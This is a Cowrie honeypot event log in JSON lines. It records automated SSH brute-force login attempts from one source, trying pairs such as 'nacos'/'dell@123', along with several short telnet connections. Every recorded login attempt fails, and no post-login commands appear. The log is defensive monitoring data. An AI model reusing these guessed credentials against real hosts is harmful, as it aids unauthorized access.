{"eventid":"cowrie.login.failed","username":"nacos","password":"fjbdfdjkdsfs541544@@","message":"login attempt [nacos/fjbdfdjkdsfs541544@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:40.662186Z","src_ip":"36.253.9.69","session":"2fe04312936e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:41.909368Z","src_ip":"36.253.9.69","session":"2fe04312936e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":57202,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ad0e3cbf36","protocol":"ssh","message":"New connection: 36.253.9.69:57202 (10.17.0.5:22) [session: 28ad0e3cbf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:42.155128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:42.170590Z","src_ip":"36.253.9.69","session":"28ad0e3cbf36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:42.417531Z","src_ip":"36.253.9.69","session":"28ad0e3cbf36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"dell@123","message":"login attempt [nacos/dell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:43.484086Z","src_ip":"36.253.9.69","session":"28ad0e3cbf36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:44.735216Z","src_ip":"36.253.9.69","session":"28ad0e3cbf36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":57208,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a39718fd23a","protocol":"ssh","message":"New connection: 36.253.9.69:57208 (10.17.0.5:22) [session: 0a39718fd23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:44.988549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:44.995695Z","src_ip":"36.253.9.69","session":"0a39718fd23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:45.245837Z","src_ip":"36.253.9.69","session":"0a39718fd23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bf559570c70","protocol":"telnet","message":"New connection: 38.60.198.128:43186 (159.203.135.109:23) [session: 3bf559570c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:46.310658Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"dell@2026","message":"login attempt [nacos/dell@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:46.322973Z","src_ip":"36.253.9.69","session":"0a39718fd23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:47.584693Z","src_ip":"36.253.9.69","session":"0a39718fd23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":51676,"dst_ip":"10.17.0.5","dst_port":22,"session":"81efd72b83a0","protocol":"ssh","message":"New connection: 36.253.9.69:51676 (10.17.0.5:22) [session: 81efd72b83a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:47.777452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:47.785984Z","src_ip":"36.253.9.69","session":"81efd72b83a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:48.007410Z","src_ip":"36.253.9.69","session":"81efd72b83a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.38700270652771,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:48.697537Z","src_ip":"38.60.198.128","session":"3bf559570c70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45940,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d0d860a2bce","protocol":"telnet","message":"New connection: 38.60.198.128:45940 (159.203.135.109:23) [session: 8d0d860a2bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:48.749967Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"dell@2025","message":"login attempt [nacos/dell@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:48.974835Z","src_ip":"36.253.9.69","session":"81efd72b83a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:50.200048Z","src_ip":"36.253.9.69","session":"81efd72b83a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43080,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c3ece39cf22","protocol":"telnet","message":"New connection: 38.60.198.128:43080 (159.203.135.109:23) [session: 8c3ece39cf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:50.352462Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":51678,"dst_ip":"10.17.0.5","dst_port":22,"session":"51caf8fca9c0","protocol":"ssh","message":"New connection: 36.253.9.69:51678 (10.17.0.5:22) [session: 51caf8fca9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:50.483822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:50.488529Z","src_ip":"36.253.9.69","session":"51caf8fca9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:50.748681Z","src_ip":"36.253.9.69","session":"51caf8fca9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49182,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b38a2f590db","protocol":"telnet","message":"New connection: 38.60.198.128:49182 (159.203.135.109:23) [session: 9b38a2f590db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:51.011529Z"}
{"eventid":"cowrie.login.failed","username":"nacosdell123","password":"nacos","message":"login attempt [nacosdell123/nacos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:51.867653Z","src_ip":"36.253.9.69","session":"51caf8fca9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017032623291,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:51.878428Z","src_ip":"38.60.198.128","session":"68b528757cad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:53.131879Z","src_ip":"36.253.9.69","session":"51caf8fca9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":51680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d0174e8311a","protocol":"ssh","message":"New connection: 36.253.9.69:51680 (10.17.0.5:22) [session: 4d0174e8311a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:53.351664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:53.356920Z","src_ip":"36.253.9.69","session":"4d0174e8311a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:53.592914Z","src_ip":"36.253.9.69","session":"4d0174e8311a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dahuacloud","password":"nacos","message":"login attempt [dahuacloud/nacos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:54.615842Z","src_ip":"36.253.9.69","session":"4d0174e8311a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:55.855701Z","src_ip":"36.253.9.69","session":"4d0174e8311a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":51684,"dst_ip":"10.17.0.5","dst_port":22,"session":"2542888ceacd","protocol":"ssh","message":"New connection: 36.253.9.69:51684 (10.17.0.5:22) [session: 2542888ceacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:56.072187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:56.076905Z","src_ip":"36.253.9.69","session":"2542888ceacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:56.305191Z","src_ip":"36.253.9.69","session":"2542888ceacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.95191144943237,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:56.831423Z","src_ip":"38.60.198.128","session":"1720e042cfdf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Welcome@123","password":"nacos","message":"login attempt [Welcome@123/nacos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:57.296010Z","src_ip":"36.253.9.69","session":"2542888ceacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:58.527648Z","src_ip":"36.253.9.69","session":"2542888ceacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.88125801086426,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:58.773788Z","src_ip":"38.60.198.128","session":"f7074462c483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":55664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0baadba834a","protocol":"ssh","message":"New connection: 36.253.9.69:55664 (10.17.0.5:22) [session: b0baadba834a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:58.782625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:58.786664Z","src_ip":"36.253.9.69","session":"b0baadba834a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:59.032401Z","src_ip":"36.253.9.69","session":"b0baadba834a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57682,"dst_ip":"159.203.135.109","dst_port":23,"session":"0959cff71d85","protocol":"telnet","message":"New connection: 38.60.198.128:57682 (159.203.135.109:23) [session: 0959cff71d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:59.577026Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"174ef56d4f90","protocol":"telnet","message":"New connection: 38.60.198.128:59462 (159.203.135.109:23) [session: 174ef56d4f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:59.948011Z"}
{"eventid":"cowrie.login.failed","username":"buzhidao","password":"nacos","message":"login attempt [buzhidao/nacos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:00.093660Z","src_ip":"36.253.9.69","session":"b0baadba834a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:01.342549Z","src_ip":"36.253.9.69","session":"b0baadba834a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":55676,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fac981f508f","protocol":"ssh","message":"New connection: 36.253.9.69:55676 (10.17.0.5:22) [session: 5fac981f508f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:01.584932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:01.590043Z","src_ip":"36.253.9.69","session":"5fac981f508f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:01.840282Z","src_ip":"36.253.9.69","session":"5fac981f508f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.517518758773804,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:02.635985Z","src_ip":"45.81.23.16","session":"128d08cf520e","protocol":"telnet"}
